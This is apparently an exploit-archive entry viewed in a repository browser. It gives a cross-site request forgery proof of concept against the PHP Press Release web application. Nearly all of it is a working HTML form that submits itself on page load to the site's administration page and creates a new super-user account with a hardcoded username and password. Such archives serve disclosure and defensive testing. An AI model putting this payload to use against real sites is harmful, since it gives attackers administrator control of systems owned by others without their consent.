8ea4614148
4 new exploits miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post) Fitbit Connect Service - Unquoted Service Path Privilege Escalation PHP Press Release - Cross-Site Request Forgery (Add Admin) PHP Press Release - Stored Cross Site Scripting
35 lines
1.3 KiB
Text
Executable file
35 lines
1.3 KiB
Text
Executable file
# Exploit Title : PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )
|
|
# Author : Besim
|
|
# Google Dork : -
|
|
# Date : 09/10/2016
|
|
# Type : webapps
|
|
# Platform : PHP
|
|
# Vendor Homepage : http://www.pagereactions.com/product.php?pku=1
|
|
Software link :
|
|
http://www.pagereactions.com/downloads/phppressrelease.zip
|
|
|
|
|
|
|
|
########################### CSRF PoC ###############################
|
|
|
|
|
|
<html>
|
|
<!-- CSRF PoC -->
|
|
<body>
|
|
<form action="http://sitename/phppressrelease/administration.php" method="POST">
|
|
<input type="hidden" name="pageaction" value="saveuser" />
|
|
<input type="hidden" name="subaction" value="submit" />
|
|
<input type="hidden" name="username" value="murat" />
|
|
<input type="hidden" name="password" value="murat" />
|
|
<input type="hidden" name="userfullname" value="murat tester" />
|
|
<input type="hidden" name="accesslevel" value="Super" />
|
|
<input type="hidden" name="userstatus" value="active" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
*document.forms[0].submit();*
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
####################################################################
|